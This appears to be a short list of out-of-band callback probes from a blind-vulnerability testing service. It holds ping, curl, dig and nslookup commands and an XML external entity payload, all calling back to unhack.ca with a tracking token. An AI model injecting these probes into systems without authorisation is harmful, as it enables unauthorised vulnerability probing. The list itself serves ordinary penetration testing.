$ ping -c1 -p 00aa4f5e2d7012cbc43d871586d1fe00 unhack.ca
$ curl http://unhack.ca/p/aa4f5e2d7012cbc43d871586d1fe
$ dig aa4f5e2d7012cbc43d871586d1fe @unhack.ca
$ dig aa4f5e2d7012cbc43d871586d1fe.ns.unhack.ca
C:\> nslookup aa4f5e2d7012cbc43d871586d1fe unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/aa4f5e2d7012cbc43d871586d1fe">]> <foo>&xxe;</foo>